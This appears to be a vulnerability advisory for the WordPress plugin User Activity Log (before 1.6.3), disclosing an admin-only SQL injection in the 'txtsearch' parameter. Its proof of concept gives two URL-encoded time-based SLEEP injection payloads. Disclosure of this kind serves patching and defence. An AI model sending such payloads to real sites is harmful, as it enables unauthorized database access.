WordPress Plugin Vulnerabilities

User Activity Log < 1.6.3 - Admin+ SQL Injection

Description

The plugin does not properly sanitise and escape the `txtsearch` parameter before using it in a SQL statement in some admin pages, leading to a SQL injection exploitable by high privilege users such as admin.

Proof of Concept

As an admin, visit either of the following URL's. Note that it takes several seconds for the page to load, which illustrates the SQL Injection vulnerability.

/wp-admin/admin.php?page=general_settings_menu&display=users&txtsearch=%27+AND+%28SELECT+1+FROM+%28SELECT%28SLEEP%281%29%29%29x%29+AND+%27x%27%3D%27

/wp-admin/admin.php?page=user_action_log&txtsearch=%27+AND+%28SELECT+1+FROM+%28SELECT%28SLEEP%281%29%29%29x%29+AND+%27x%27%3D%27

Affects Plugins

Fixed in 1.6.3

References

Classification

Type
SQLI
OWASP top 10
CWE

Miscellaneous

Original Researcher
Ilyase Dehy and Aymane Mazguiti
Submitter
Aymane Mazguiti
Verified
Yes

Timeline

Publicly Published
2023-07-03 (about 4 months ago)
Added
2023-07-03 (about 4 months ago)
Last Updated
2023-07-03 (about 4 months ago)

Other